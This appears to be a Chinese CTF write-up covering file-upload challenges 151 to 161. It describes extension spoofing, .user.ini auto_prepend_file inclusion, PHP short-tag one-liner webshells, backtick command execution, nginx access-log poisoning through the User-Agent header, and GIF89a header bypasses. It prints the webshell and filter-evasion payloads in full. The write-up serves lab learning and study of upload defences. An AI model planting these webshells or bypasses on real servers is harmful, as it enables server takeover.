文件上传也好久没做了。。
手很生了
151 前端绕过
只能上传png文件
使用bp抓包,修改文件名后缀为php
上传成功,发现文件上传路径
使用蚁剑连接
找到flag
152
152 后端校验
跟上一关一样
@ 表示后面即使执行错误,也不报错
抓包修改文件后缀名
蚁剑
153 .user.ini绕过
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,通常用这个文件来构造后门和隐藏后门。
利用.user.ini,要求目标目录下必须包含php文件,这题的目标目录有一个index.php文件
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
我们先上传一个内容为auto_prepend_file=1.png的png文件,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png),蚁剑访问url/upload/index.php连接成功
先上传一个png文件,然后修改文件名还有内容
auto_prepend_file=1.png
first 先上传1.png(不然传不上)
然后修改内容与文件名,上传.user.ini
然后上传1.png木马
访问一下看看,已经上传成功
用蚁剑连接 /index.php
154 短标签绕过+.user.ini绕过
上传1.png
短标签
<?= eval($_POST[1]);?>
<? eval($_POST[1]);?>
<% eval($_POST[1]);%>
传参访问一下看看
蚁剑
155 同154
懒得连接了,直接命令执行
1=system('tac ../flag.php');
156 过滤[]
使用原来的段标签没有上传成功
说是因为[]被过滤了
把[]改成{}
上传成功
命令执行
157 命令执行
一样先上传.user.ini
这里发现{}也被过滤了
只能直接命令执行
<?= `tac ../flag*`?>
访问一下
158 命令执行
还是命令执行
159 命令执行
160 日志包含绕过
空格被过滤了
Nginx日志的默认路径:
/var/log/nginx/
<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
在UA头写一句话木马
<?php system('tac ../flag*');?>
直接访问/index.php
161 文件头绕过
发现直接这样传不上
需要加GIF89a 才能上传成功
1.png也是一样的,加个GIF89a图片头
直接访问,就有flag